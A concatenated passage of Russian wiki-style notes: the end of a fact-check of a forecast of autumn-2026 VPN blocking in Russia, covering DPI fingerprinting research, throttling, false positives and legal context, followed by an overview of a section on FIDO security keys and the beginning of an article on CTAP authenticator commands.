соединений, что приводит к блокировке из-за превышения частоты хэндшейков. Ограничения такого типа бьют по передаче больших объемов информации. Метод управляемого замедления трафика по SNI и отбрасыванию пакетов применялся в России в 2021 году для ограничения доступа к Twitter до 130–150 Кбит/с, что подтвердило исследование проекта [Censored Planet](https://censoredplanet.org/throttling). На такой скорости скачивание файла размером 100 МБ занимает около полутора часов или дольше, поэтому видео, видеозвонки и обновления становятся практически недоступны. Синхронное поведение фильтров на сетях разных операторов согласовывалось с централизованным управлением. Не получая подтверждений приема (ACK), стек TCP снижает размер окна отправки и повторяет передачу сегментов, из-за чего VPN-клиент продолжает показывать статус подключения, хотя передача данных остановилась. ## Уязвимость вложенных соединений Даже после обфускации заголовков сетевой поток выдает себя характерным распределением пакетов: их длиной, направлением и временными интервалами. Классификатор DPI собирает эти параметры в вектор признаков, куда входят объем первого пакета клиента, время полного обмена туда и обратно (RTT, round-trip time) и количество раундов рукопожатия перед началом передачи полезной нагрузки. По отдельности эти маркеры не дают высокой точности, но их комбинация позволяет распознать туннель. Эта уязвимость характерна для систем с вложенным шифрованием, таких как протокол VLESS внутри TLS-туннеля. Внутреннее сообщение ClientHello скрыто внешним шифрованием, однако его отправка создает характерный всплеск трафика от клиента, за которым следует пауза на время прохождения сигнала, встречный всплеск ответов от сервера и последующие раунды согласования. Шифрование меняет байты в пакетах, но оставляет неизменными тайминги и общую форму рукопожатия. На основе анализа этих временных характеристик классификаторы DPI способны идентифицировать замаскированные соединения. В исследовании [Fingerprinting Obfuscated Proxy Traffic with Encapsulated TLS Handshakes](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) на конференции USENIX Security 2024 описан метод обнаружения вложенных TLS-соединений. Разработанный авторами детектор протестировали в реальной сети на 110 миллионах потоков. В стандартных конфигурациях он распознавал более 70 % потоков четырёх самых распространённых обфусцированных протоколов — vmess, shadowsocks, vless и trojan, — а верхняя оценка доли ложных срабатываний составила 0,0544 %. Случайное заполнение пакетов (padding) в условиях эксперимента снижало распознавание, но не спасало от него: для vmess поверх WebSocket и TLS полнота падала с 0,859 до 0,687 — авторы связывают это с тем, что у vmess набивка берётся из узкого диапазона 0–63 байта. Общая же причина слабости приёма в другом: набивка меняет размеры, но не порядок и направление пакетов, а «дописать» она умеет только в большую сторону. Из проверенных контрмер лучше всего сработало встроенное в клиент мультиплексирование, меняющее форму потока: у голого vmess объединение двух прикладных потоков снижало полноту распознавания с 0,771 до 0,225 — более чем на 70 %, — а vmess поверх WebSocket и TLS при восьми параллельных потоках опускался до 0,125. Существенная оговорка авторов: когда активен один-единственный прикладной поток, перемешивать нечего и защита мультиплексирования сходит на нет. Эксперимент проходил на зеркальной копии трафика американского провайдера: исследователи извлекали признаки, но не вмешивались в маршрутизацию и не блокировали соединения. Работа доказывает осуществимость пассивной классификации в масштабе сети с более чем миллионом пользователей. Она не доказывает, что такой алгоритм уже работает в российских ТСПУ, и не измеряет его точность на распределении трафика российских операторов. ## Цена ложного срабатывания Внедрение глубокого поведенческого анализа на общенациональном уровне сдерживается риском сопутствующего ущерба. Легитимное корпоративное программное обеспечение, игровые клиенты и веб-браузеры тоже создают параллельные соединения и передают зашифрованные пакеты. Слишком жесткие правила блокируют обычные сайты, а мягкие пропускают инструменты обхода. В сетевой статистике эта проблема известна как ошибка базовой частоты (base rate fallacy): редкое событие на фоне гигантского объема данных порождает лавину ложных блокировок. Если из 10 миллионов TLS-потоков только 0,5% (50 тысяч) приходятся на VPN, то детектор, выявляющий 95% таких туннелей, найдет 47 500. Однако при уровне ложных срабатываний всего в 1% система ошибочно заблокирует 99 500 легитимных сессий — вдвое больше, чем обнаруженных VPN. Для промышленного применения требуются алгоритмы, сводящие ложные детекты к минимуму. С технической точки зрения период затишья можно использовать для перенастройки правил: сузить целевые подсети, обновить сигнатуры и измерить сопутствующий ущерб. Публичных данных о том, что инженеры ТСПУ именно этим занимаются в июле 2026 года, нет. Промышленные системы фильтрации часто строят каскадом: дешевый первичный фильтр отбирает подозрительный трафик, сигнатурный модуль проверяет структуру рукопожатий, а ресурсоемкий stateful-анализатор изучает тайминги и частоту подключений только у выбранной группы сессий. Поэтому фраза Щербакова о том, что оборудование «захлебывалось от ложных срабатываний», требует уточнения. Ложные блокировки вызывают жалобы и нарушают доступность сайтов, а нагрузку на оборудование создает необходимость хранить состояние миллионов сессий и выполнять глубокий разбор пакетов. Часть июльского затишья может объясняться адаптацией пользователей. Современные приложения обхода нередко поддерживают несколько протоколов и автоматическое переключение между ними. Если один транспорт перестает отвечать, клиент переходит на другой, и пользователь замечает лишь короткую паузу. Сбоев от этого не становится меньше, но они реже выглядят как окончательная поломка VPN; базовые протоколы без маскировки по-прежнему уязвимы для обнаружения. ## Инфраструктура позволяет менять правила централизованно [Федеральный закон № 90-ФЗ](https://publication.pravo.gov.ru/document/view/0001201905010025) от 1 мая 2019 года создал правовую основу централизованного управления сетью связи. Пункт 5.2 [статьи 46 закона «О связи»](https://www.consultant.ru/document/cons_doc_LAW_43224/16bb16c212b64fca3cd16dac9f4f1f2c2fd34083/) обязывает интернет-операторов пропускать трафик через технические средства противодействия угрозам. Поэтому синхронное появление похожего правила у нескольких операторов технически и организационно возможно. Закон, однако, не раскрывает конкретные сигнатуры, пороги и даты их включения. Долгосрочный вектор виден в документах и планах, о которых СМИ сообщили весной 2026 года. По данным [The Bell](https://thebell.io/roskomnadzor-udalil-dokumenty-o-planakh-blokirovki-vpn-v-rossii-na-92), удаленные позднее с сайта РКН документы о субсидиях Главному радиочастотному центру (ГРЧЦ) содержали целевой показатель: 92% среднего уровня эффективности ограничения VPN за счет сигнатур к концу 2030 года. Методика этого процента не опубликована. [«Коммерсантъ»](https://www.kommersant.ru/doc/8533998) со ссылкой на план Минцифры писал, что в 2026 году АСБИ должна обрабатывать 100% трафика Рунета, а ее пропускную способность планируют увеличить до 954 Тбит/с к 2030 году. Подробно расхождения между показателями и статус документов разобраны в [[DPI/rkn-vpn-2030-roadmap|заметке о планах РКН и Минцифры до 2030 года]]. Эти планы повышают правдоподобие общего курса на более глубокую фильтрацию, но не подтверждают прогноз на август–октябрь 2026 года. Рост мощности может обслуживать фильтрацию, отражение распределённых атак отказа в обслуживании (DDoS) и естественный рост трафика одновременно. Из долгосрочного бюджета нельзя вывести дату запуска конкретного правила. ## Волна не первая: ритм ограничений в 2026 году Прогноз о «новой волне» звучит правдоподобнее на фоне уже прошедших. За первую половину 2026 года российские сети пережили несколько отдельных эпизодов ограничений, и они заметно различались по механизму — от прицельного удара по конкретным протоколам до сопутствующего ущерба при обновлении фильтров. Именно эта неоднородность и есть аргумент в пользу серии неравномерных волн, а не одного общероссийского «рубильника» для всех VPN сразу. | Период | Характер ограничения | Что ломалось | Разбор в хранилище | |---|---|---|---| | 21–25 мая 2026 | Прицельная фильтрация протоколов и блокировка по ASN дата-центров | MTProto, VLESS, WireGuard, XHTTP, gRPC, Hysteria | по данным Meduza, май 2026 года | | 6 июня 2026 | Поведенческий фильтр: подсеть дата-центра + TLS-отпечаток + частота соединений | легитимные сайты на российских облаках, VLESS+REALITY | [[DPI/tspu-false-blocks-june-2026\|Ложные блокировки ТСПУ]], [[VLESS/dpi-tls-june-2026\|заморозка VLESS+REALITY]] | | 23 июня 2026 | Сбой списков исключений при обновлении «белого списка» ТСПУ | Twitch, Discord, PUBG, GitHub, часть облачных подсетей | [[DPI/tspu-whitelist-cloudflare-june-2026\|инцидент 23 июня]], [[DPI/subnet-whitelist-blocking-2026\|ковровая блокировка подсетей]] | | 3 июля 2026 | Блокировка публичного DNS 8.8.8.8 по TCP (DoH/DoT) | VPN-клиенты с внешним DNS-резолвером | [[DPI/google-dns-8888-block-july-2026\|блок 8.8.8.8]] | Ни один из этих эпизодов не совпадает с другим ни по цели, ни по механизму: майская волна прицельно давила VPN-протоколы, июньская задевала обычные сайты как побочный эффект поведенческого фильтра, а инциденты 23 июня и 3 июля выглядели как ошибки при обновлении «белых списков» и правил обработки DNS. Так и должна выглядеть «серия неравномерных волн» из прогноза — разные удары в разное время по разным группам адресов, а не единовременное отключение. При этом не каждый сбой того периода был фильтрацией: в начале июня инфраструктура сервиса Amnezia пережила DDoS-атаку, а европейский дата-центр — отключение питания (по сообщению SecurityLab, июнь 2026 года). Это ещё раз показывает, почему волну нельзя опознавать по одним лишь жалобам пользователей. Масштаб происходящего задаёт фон для прогноза. К концу февраля 2026 года Роскомнадзор ограничивал доступ к 469 сервисам обхода блокировок (по сообщению РИА Новости от 26 февраля 2026 года со ссылкой на регулятор), а перечень фильтруемых протоколов с декабря 2025 года расширяли за счёт SOCKS5, VLESS и L2TP. На этом фоне заявление о «новой волне» осенью описывает продолжение уже идущего процесса, а не принципиально новый сценарий. Поэтому техническая часть прогноза выглядит правдоподобно, а неизвестной остаётся именно дата следующего эпизода. ## Как отличать селективное ограничение от перегрузки сервера Один зависший сайт или медленный файл не доказывает вмешательство [[DPI/tspu-false-blocks-june-2026|ТСПУ]]. Нужны повторяемость и контрольное сравнение: тот же сервер, тот же момент времени, но другая сеть или транспорт. Чем больше независимых признаков совпадает, тем сильнее версия о фильтрации. | Наблюдение | Больше похоже на обычную перегрузку | Больше похоже на селективную фильтрацию | |---|---|---| | Охват | Проблема видна из разных стран и сетей | Проблема повторяется у выбранного российского оператора или региона, а контрольная сеть работает | | Зависимость от протокола | Одновременно деградируют все сервисы на узле | Один транспорт или профиль стабильно ломается, другой на том же сервере продолжает работать | | Форма сбоя | Скорость плавает вместе с загрузкой CPU, канала или диска | Рукопожатие завершается, затем поток каждый раз замирает после сходного числа пакетов, объема или серии соединений | | Время восстановления | Сервис улучшается по мере снижения серверной нагрузки | После триггера наблюдается похожее окно ожидания, затем новые соединения снова проходят | | Захват пакетов | Потери и задержки распределены без устойчивой границы | Видна повторяемая граница: ответ на рукопожатие приходит, после нее пакеты одного направления перестают достигать клиента | > [!warning] Домашняя диагностика не устанавливает виновника > Даже совпадение нескольких признаков показывает только наличие промежуточного сетевого воздействия. Похожую картину могут создавать неверный MTU (максимальный размер передаваемого пакета), защита от DDoS, ограничение частоты запросов у хостера, перегруженный пиринг или неисправный маршрутизатор. Для уверенного вывода нужны измерения из нескольких сетей, телеметрия сервера и захват пакетов с обеих сторон соединения. ## Пределы прогноза Заявления Щербакова согласуются с известными механизмами фильтрации. Упомянутые им цифровые отпечатки — это фиксированные длины пакетов WireGuard и коды операций OpenVPN. Частота переподключений указывает на поведенческие лимиты TLS-сессий, проблемы с крупными файлами следуют из блокировок по объему данных, а интервалы между пакетами лежат в основе статистических классификаторов. Упомянутые признаки могут участвовать в классификации и последующем воздействии на выбранный поток. Сергей Щербаков занимает должность технического директора компании «Стахановец», которая разрабатывает системы защиты от утечек данных (DLP) и анализирует поведение сотрудников. Этот опыт работы с корпоративной телеметрией и анализом аномалий объясняет его понимание методов классификации трафика. При этом разработка офисных DLP-систем отличается от создания операторских платформ DPI масштаба страны. Данные о причастности «Стахановца» к проектированию ТСПУ или о доступе Щербакова к внутренним планам Роскомнадзора отсутствуют. Его технические аргументы согласуются с возможностями систем фильтрации, но названные сроки новой волны ограничений в конце лета или начале осени 2026 года, как и предположение о текущем сборе данных для этой цели, остаются прогнозом эксперта, а не подтвержденным графиком регулятора. ## Почему назван именно осенний срок «Конец лета или начало осени» — срок не только про перенастройку ТСПУ. У осеннего окна есть причины, лежащие вне фильтрующего оборудования, и их стоит учитывать при проверке прогноза. Во-первых, потребление трафика в России сезонно: спад приходится на март–июль, а рост — на осень и зиму, поэтому любое узкое место в сети обостряется именно к концу года. Во-вторых, на тот же период указывает отдельный, нетехнический рычаг давления — [[DPI/economic-filter-foreign-channels-2026|«экономический фильтр» зарубежного трафика]]. С марта 2026 года Минцифры ввело согласительный порядок расширения зарубежных каналов связи, а первые заметные последствия этого ограничения телеком-эксперты ожидали к августу–сентябрю 2026 года (по материалам РБК, июнь 2026 года). VPN-трафик по определению зарубежный, поэтому сужение самой «трубы» ухудшает его без всякого DPI. Отсюда следует осторожный вывод для фактчека: осеннее падение качества VPN может совпасть по времени с прогнозом Щербакова, но иметь другую причину — сезонный пик нагрузки и экономическое ограничение каналов, а не новую сигнатуру или поведенческое правило ТСПУ. Поэтому рост числа жалоб осенью сам по себе не подтвердит именно версию о новой волне DPI-фильтрации. Разделить причины помогает тот же контрольный приём — сравнить тот же сервер из другой сети и через другой транспорт (см. раздел о признаках селективной фильтрации выше). ## Как проверить прогноз после осени Фраза «конец лета или начало осени» не содержит точной границы. Для последующего фактчека этой статьи разумно считать проверочным окном период с 1 августа по 15 октября 2026 года. Это редакционное определение, а не срок из слов Щербакова или документа РКН. Прогноз получит сильное подтверждение, если в этом окне независимые измерения зафиксируют повторяемую волну на нескольких несвязанных операторах: одинаковый класс протоколов или поведенческих признаков, завершение рукопожатия перед деградацией, сходные пороги и устойчивое отличие от контрольных сетей. Дополнительным подтверждением станут опубликованные изменения чекеров, отчеты операторов или документы, связывающие сбои с новыми правилами ТСПУ. Календарная часть прогноза ослабнет, если до 15 октября не появится воспроизводимого многооператорного изменения, а заметные сбои будут объясняться нагрузкой отдельных VPN-серверов, маршрутами или авариями. Это не опровергнет техническую возможность поведенческой фильтрации и долгосрочный курс на усиление АСБИ; оно покажет лишь, что названный срок не подтвердился. ## Реалистичный механизм без подтвержденного календаря Спецификации и исследования, доступные к июлю 2026 года, показывают уязвимость популярных протоколов к классификации. WireGuard и OpenVPN можно распознавать без привязки к номерам портов. Системы DPI способны классифицировать туннели по размерам пакетов, таймингам хэндшейков и ответам серверов. В России документирован управляемый троттлинг Twitter, а отдельные полевые тесты 2025–2026 годов фиксировали пороги объема и частоты соединений. Версия о том, что регулятор собирает статистику для проведения новой волны ограничений в конце лета или начале осени 2026 года, не имеет документальных подтверждений. Текущую стабильность можно объяснить доработкой правил ТСПУ после ложных блокировок, неравномерным обновлением оборудования на сетях провайдеров, переходом пользователей на новые версии протоколов или обычным снижением нагрузки после предыдущей волны. Зеленый индикатор VPN сам по себе говорит лишь о том, что клиент завершил начальный обмен с сервером. После этого фильтр технически способен замедлить поток, заморозить его после порога данных или применить ограничение к серии новых соединений; отдельные варианты такого воздействия задокументированы в исследованиях и полевых тестах. Осенний срок в этой картине остается предположением Щербакова: публичного графика новой волны блокировок РКН и операторы не раскрывали. ## Источники и материалы Исходный прогноз опубликован в [«Газете.Ru»](https://www.gazeta.ru/social/news/2026/07/19/28927375.shtml) (копия на [Дзене](https://dzen.ru/a/al2Bq9VlSA969LUZ)). Структура пакетов описана в спецификациях [WireGuard](https://www.wireguard.com/protocol/) и [OpenVPN](https://build.openvpn.net/doxygen/network_protocol.html), сигнатуры — в исходниках [nDPI для WireGuard](https://github.com/ntop/nDPI/blob/dev/src/lib/protocols/wireguard.c) и [OpenVPN](https://github.com/ntop/nDPI/blob/dev/src/lib/protocols/openvpn.c). Описание механизмов маскировки взято из документации [AmneziaWG](https://docs.amnezia.org/ru/documentation/amnezia-wg/). Академические исследования: [распознавание OpenVPN](https://www.usenix.org/conference/usenixsecurity22/presentation/xue-diwen) (USENIX Security 2022) и [анализ вложенных TLS-хэндшейков](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) (USENIX Security 2024). Данные полевых тестов в РФ: [разбор июньских ограничений 2026 года](https://habr.com/ru/articles/1044396/) на Хабре и обсуждение [tcp 16-20 / l4-25](https://github.com/net4people/bbs/issues/490). Отчет о троттлинге Twitter в РФ подготовлен проектом [Censored Planet](https://censoredplanet.org/throttling). Правовой и инфраструктурный контекст: [Федеральный закон № 90-ФЗ](https://publication.pravo.gov.ru/document/view/0001201905010025), [статья 46 закона «О связи»](https://www.consultant.ru/document/cons_doc_LAW_43224/16bb16c212b64fca3cd16dac9f4f1f2c2fd34083/), публикация [The Bell об удаленных документах РКН и KPI 92%](https://thebell.io/roskomnadzor-udalil-dokumenty-o-planakh-blokirovki-vpn-v-rossii-na-92) и материал [«Коммерсанта» о плане расширения АСБИ](https://www.kommersant.ru/doc/8533998). ## 📚 См. также - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: от SYN до поведенческой классификации]] — полный конвейер признаков и решений фильтра. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — подробный разбор июньских TLS-ограничений 2026 года. - [[DPI/tspu-false-blocks-june-2026|Ложные блокировки ТСПУ]] — почему агрессивные правила задевают обычные сайты. - [[DPI/statistical-morphing-concept|Статистический морфинг трафика]] — как можно менять не заголовок, а всю форму потока. - [[DPI/rkn-vpn-2030-roadmap|Курс на 2030: планы по VPN и фильтрации трафика]] — государственная программа и бюджетный контекст. - [[DPI/economic-filter-foreign-channels-2026|Экономический фильтр зарубежного трафика]] — как дефицит и удорожание зарубежных каналов давят на VPN без всякого DPI. - [[DPI/mincifry-whitelist-vpn-hosting-august-2026|Белый список ЦМУ ССОП и хостеры (август 2026)]] — административный рычаг вместо технического: адрес лишают иммунитета от фильтрации, а скорость санкции привязывают к уровню идентификации клиента. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/vpn-blocking-wave-forecast-summer-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- title: "🗂 FIDO и аппаратные ключи: обзор раздела" date: 2026-08-04 tags: - fido2 - 2fa - security - index aliases: - FIDO — обзор раздела - Ключи безопасности — оглавление - С чего начать изучать FIDO2 - Как работают passkeys и ключи безопасности --- # 🗂 FIDO и аппаратные ключи: обзор раздела ![[fido-security-keys-header.png]] > [!info] О чём раздел > Здесь собраны заметки об аппаратных ключах безопасности и связанных способах входа без передачи пароля. Раздел охватывает историю стандартов, устройство протоколов, ключи доступа и выбор отдельных аутентификаторов. ## Краткое содержание Раздел посвящён входу в аккаунты без передачи серверу секрета, который можно подсмотреть, повторно использовать или выманить обманом. Пароль приходится вводить на сайте, поэтому поддельная страница способна переслать его злоумышленнику. Одноразовый код из SMS или приложения тоже можно попросить у жертвы и сразу применить на настоящем сервисе. Здесь рассматривается другой подход: устройство создаёт криптографическое доказательство для конкретной попытки входа и конкретного сайта. В основе такого входа находится пара математически связанных ключей. Закрытая часть остаётся в телефоне, компьютере или физическом брелоке и создаёт подпись. Открытую часть получает сервер, чтобы проверять эту подпись. Сервер не может восстановить закрытый ключ из открытого, а перехваченный ответ не подходит для следующей попытки, потому что каждый вход начинается с новой случайной задачи. Так раздел постепенно подводит читателя от бытового вопроса «почему пароль можно украсть» к точной механике регистрации и проверки ключа. Общие правила этой системы развивает отраслевой альянс FIDO Alliance, а семейство его стандартов называют FIDO (Fast IDentity Online, «быстрая идентификация в сети»). [[FIDO/fido-history|История FIDO]] объясняет, почему производителям браузеров, операционных систем и аппаратных устройств понадобился единый язык. Там разобран путь от ранних экспериментов Google и Yubico до массовой поддержки в Android, iOS, браузерах и Windows, а также показано, почему пользовательский интерфейс менялся быстрее, чем основные криптографические гарантии. Первое поколение разделяло два сценария. Физический ключ мог дополнять пароль вторым фактором: после обычного входа сервер просил коснуться устройства и проверить подпись. Этот стандарт называется U2F (Universal 2nd Factor, «универсальный второй фактор») и подробно разобран в [[FIDO/u2f|отдельной статье]]. Параллельная ветка позволяла мобильному приложению заменить пароль локальным подтверждением владельца; её назвали UAF (Universal Authentication Framework, «универсальная платформа аутентификации»). [[FIDO/uaf|Статья об UAF]] показывает архитектуру этой системы и причины, по которым она не стала единым интерфейсом массового веба. Современная схема стала удобнее для сайтов благодаря чёткому разделению ролей. Сервер создаёт одноразовый запрос и хранит открытый ключ. Страница передаёт запрос браузеру. Браузер вместе с операционной системой проверяет адрес сайта, показывает человеку системное окно и выбирает подходящее устройство. Аутентификатор хранит закрытый ключ, выполняет локальную проверку и возвращает подпись. [[FIDO/fido-protocols|Общая статья о протоколах]] проходит весь этот маршрут по шагам и объясняет, какие данные создаёт каждый участник. Связь сайта с устройством разделена на два участка, потому что веб-страница не должна напрямую управлять USB-ключом, датчиком отпечатка или телефоном. Набор функций, через который страница просит браузер зарегистрировать ключ или начать вход, называется WebAuthn. [[FIDO/webauthn|Статья о WebAuthn]] разбирает запросы страницы, привязку подписи к адресу сайта, содержимое ответа и обязательные проверки на сервере. Отдельный протокол передаёт команды от браузера или операционной системы к внешнему аутентификатору; он называется CTAP. В [[FIDO/ctap|статье о CTAP]] описаны команды создания и получения учётных данных, USB и бесконтактная связь, локальный PIN, биометрия, защита от перебора и управление памятью ключа. Вместе WebAuthn и CTAP2 образуют FIDO2. Отдельная часть раздела посвящена ключам доступа, которые в интерфейсах часто называют passkeys. Устройство может само найти подходящую запись для сайта, показать аккаунт до ввода логина и попросить подтвердить вход кодом разблокировки или биометрией. Такая запись способна синхронизироваться между устройствами пользователя, оставаться только на одном телефоне или храниться в отдельном аппаратном ключе. [[FIDO/passkeys|Статья о ключах доступа]] сравнивает эти варианты, объясняет вход телефоном на чужом компьютере и показывает, как удобство синхронизации меняет доверие к аккаунту провайдера и процедуре восстановления. Физические ключи вынесены в собственную практическую статью, потому что одинаковый корпус ещё ничего не говорит о возможностях устройства. Одни модели поддерживают только вход на сайты, другие дополнительно хранят ключи электронной подписи, сертификаты или секреты для одноразовых кодов. Различаются объём памяти, наличие биометрии, бесконтактная связь, возможность обновить прошивку, открытость исходного кода и уровень сертификации. [[FIDO/hardware-security-keys|Обзор аппаратных ключей]] сравнивает YubiKey, Nitrokey, SoloKeys, OpenSK и другие варианты, а в конце помогает выбрать два совместимых устройства: основной и резервный. Сильный способ входа защищает только тот путь, на котором он действительно используется. Слабый пароль, SMS или письмо для восстановления могут оставить обходной маршрут. Вредоносная программа способна использовать уже открытую сессию, а потеря единственного устройства приводит пользователя к процедуре восстановления сервиса. Поэтому в статьях вместе с криптографией рассматриваются резервные ключи, коды восстановления, защита аккаунта синхронизации и серверные ошибки проверки. Эти границы показывают, где заканчивается гарантия криптографической подписи. Материалы рассчитаны на несколько маршрутов чтения. Новичку достаточно начать с [[FIDO/fido-history|истории]] и [[FIDO/fido-protocols|общего принципа]], а затем выбрать [[FIDO/passkeys|ключи доступа]] или [[FIDO/hardware-security-keys|физические устройства]]. Разработчику после общей механики полезны статьи о [[FIDO/webauthn|браузерном интерфейсе]] и [[FIDO/ctap|командах аутентификатора]]. Старые стандарты U2F и UAF нужны для понимания совместимости, исторических решений и того, почему современная система устроена именно так. Раздел объясняет, какое доказательство получает сервер, кто хранит закрытый ключ и где остаётся слабое место после отказа от пароля, а затем помогает выбрать подходящий способ входа и резервирования. ## Карта раздела FIDO удобнее разбирать слоями. История отвечает, откуда появились стандарты. Общий обзор протоколов показывает участников и криптографию. WebAuthn и CTAP делят путь от сайта до аутентификатора, а passkeys и аппаратные ключи описывают два способа хранить учётные данные на стороне пользователя. ```mermaid flowchart TD History["История FIDO
зачем понадобился стандарт"] --> Protocols["Протоколы FIDO
общая механика"] Protocols --> WebAuthn["WebAuthn
сайт ↔ браузер и ОС"] Protocols --> CTAP["CTAP
браузер и ОС ↔ внешний аутентификатор"] History --> U2F["U2F / CTAP1
второй фактор к паролю"] History --> UAF["UAF
ранняя беспарольная ветка"] WebAuthn --> Passkeys["Ключи доступа
обнаруживаемые учётные данные"] CTAP --> Hardware["Аппаратные ключи
провод, бесконтактная связь, биометрия"] Passkeys --> Hardware ``` Если нужен быстрый практический маршрут, начните с [[FIDO/fido-protocols|общей механики]], затем переходите к [[FIDO/passkeys|passkeys]] или [[FIDO/hardware-security-keys|аппаратным ключам]]. Для технического маршрута после общего обзора читайте [[FIDO/webauthn|WebAuthn]], затем [[FIDO/ctap|CTAP]]. [[FIDO/u2f|U2F]] и [[FIDO/uaf|UAF]] объясняют, из каких ранних решений вырос FIDO2. ## Заметки раздела - [[FIDO/fido-history|Что такое FIDO: альянс, стандарты и их история]] — зачем создали FIDO Alliance, принципы и хронология от U2F до passkeys. - [[FIDO/fido-protocols|Протоколы FIDO: U2F, FIDO2, WebAuthn, CTAP и passkeys]] — одноразовый запрос и подписанный ответ, привязка к сайту, обнаруживаемые учётные данные и способы их хранения. - [[FIDO/u2f|U2F (Universal 2nd Factor)]] — первый стандарт семейства подробно: история версий, регистрация и вход по шагам, идентификатор ключа, плюсы и минусы. - [[FIDO/uaf|UAF: беспарольная ветка FIDO 1.0]] — как была устроена, где применялась, почему проиграла и что унаследовал FIDO2. - [[FIDO/webauthn|WebAuthn: браузерный интерфейс аутентификации FIDO2]] — регистрация и вход, привязка ключа к сервису, автозаполнение и версии стандарта. - [[FIDO/ctap|CTAP: как браузер разговаривает с аппаратным ключом]] — версии от CTAP1 до CTAP 2.3, способы подключения, PIN и защита от перебора. - [[FIDO/passkeys|Passkeys («ключи доступа»)]] — синхронизируемые и привязанные к одному устройству варианты, хранилища Apple/Google, вход по QR-коду, плюсы и минусы. - [[FIDO/hardware-security-keys|Физические ключи безопасности: YubiKey, открытые ключи и другие типы]] — железо: линейки YubiKey, открытые ключи (Nitrokey, SoloKeys, OpenSK), другие производители и чек-лист выбора. ## 📚 См. также - [[Cybersecurity|Кибербезопасность]] — общая подборка материалов по кибербезопасности - [[SMS]] — почему SMS — слабый канал для кодов и восстановления доступа --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/00-overview.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - ctap - fido2 - u2f - hardware aliases: - CTAP - CTAP2 - Client to Authenticator Protocol - Как браузер общается с ключом безопасности - Команды CTAP2 - CTAP 2.3 link: https://fidoalliance.org/specs/fido-v2.3-ps-20260226/fido-client-to-authenticator-protocol-v2.3-ps-20260226.html --- # 🔌 CTAP: как браузер разговаривает с аппаратным ключом > [!info] О чём заметка > Браузер и операционная система передают запрос сайта внешнему ключу или телефону, а устройство возвращает подпись. Протокол такого обмена называется CTAP (Client to Authenticator Protocol, «протокол связи клиента с аутентификатором»). Здесь разобраны команды регистрации и входа, формат сообщений, версии протокола, защита PIN и биометрией, учётные записи и способы подключения. Связь сайта с браузером описана в [[FIDO/webauthn|заметке о браузерном входе]], общая картина — в [[FIDO/fido-protocols|обзоре всей системы]]. ## Что такое CTAP и зачем он отдельный Современная система криптографического входа делит путь по границе браузера и операционной системы. Сайт обращается к ним через [[FIDO/webauthn|WebAuthn]], а они уже выбирают встроенное средство проверки или отдельный ключ. Вместе браузер и операционная система образуют клиентскую платформу (client platform). Для внешнего ключа или телефона нужен общий язык команд, не зависящий от производителя и способа подключения. Этот язык называется **CTAP** (Client to Authenticator Protocol, «протокол связи клиента с аутентификатором»). Отдельное устройство в такой роли называют внешним аутентификатором (roaming authenticator). Встроенная проверка отпечатка или лица, например Touch ID или Windows Hello, может использовать внутренний интерфейс операционной системы и не обязана применять CTAP на этом участке. WebAuthn и вторая версия CTAP вместе образуют FIDO2, современную ветку семейства открытых стандартов FIDO (Fast IDentity Online, «быстрая идентификация в сети»). Когда браузер показывает «вставьте ключ и коснитесь его», CTAP передаёт устройству параметры от сайта и возвращает результат. Командный уровень определяет, что нужно сделать: создать ключ, подписать запрос, сообщить возможности или изменить настройки. Нижний уровень доставляет те же команды по проводу, бесконтактной связи, Bluetooth или через телефон. ```mermaid flowchart LR RP["Сайт"] -->|"защищённое веб-соединение"| WA["WebAuthn в браузере и ОС"] WA -->|"команды CTAP2"| Binding["Способ доставки"] Binding --> USB["Проводной канал"] Binding --> NFC["Бесконтактный канал"] Binding --> BLE["Bluetooth-канал"] Binding --> PXP["Телефон рядом"] USB --> Auth["Внешний аутентификатор"] NFC --> Auth BLE --> Auth PXP --> Auth ``` CTAP состоит из двух уровней. Командный уровень определяет смысл операций создания записи, получения подписанного ответа и запроса сведений о ключе. Транспортные привязки разбивают те же сообщения на пакеты проводного канала, команды бесконтактного интерфейса, фрагменты радиоканала или защищённый канал гибридного режима. ## Как запрос WebAuthn превращается в CTAP При регистрации аутентификатор создаёт пару ключей и сохраняет закрытый ключ со служебными сведениями. Эту внутреннюю запись называют источником учётных данных (credential source). Если устройство умеет само найти её по сайту без заранее переданного идентификатора, запись называется обнаруживаемой (discoverable credential), а в пользовательском интерфейсе — ключом доступа (passkey). Клиентская платформа сначала спрашивает возможности аутентификатора командой `authenticatorGetInfo`. Ответ сообщает версии, расширения, идентификатор модели AAGUID (Authenticator Attestation Globally Unique Identifier, «глобально уникальный идентификатор аттестации аутентификатора»), доступные режимы работы, лимит размера сообщения, PIN/UV-протоколы, транспорты, алгоритмы и оставшееся место под discoverable credentials. Возможности способны меняться после установки PIN или изменения конфигурации, поэтому старый ответ нельзя считать вечным паспортом устройства. Команда регистрации просит создать такую запись и называется `authenticatorMakeCredential`. При регистрации устройство может приложить свидетельство о модели и происхождении, то есть аттестацию (attestation). Команда входа просит подписанный ответ, или assertion, и называется `authenticatorGetAssertion`. Если для одного сайта найдено несколько подходящих записей, следующие ответы забирают через `authenticatorGetNextAssertion`. Для защищённой операции клиентская платформа сначала может получить временное разрешение после локальной проверки PIN-кодом или биометрией. ```mermaid sequenceDiagram participant C as Браузер и ОС participant A as Внешний аутентификатор C->>A: authenticatorGetInfo A-->>C: версии, параметры, лимиты и алгоритмы alt регистрация C->>A: authenticatorMakeCredential A->>A: присутствие / проверка пользователя (UP/UV), создать учётные данные A-->>C: аттестация + данные учётной записи else вход C->>A: authenticatorGetAssertion A->>A: выбрать учётные данные, присутствие / проверка пользователя (UP/UV), подписать 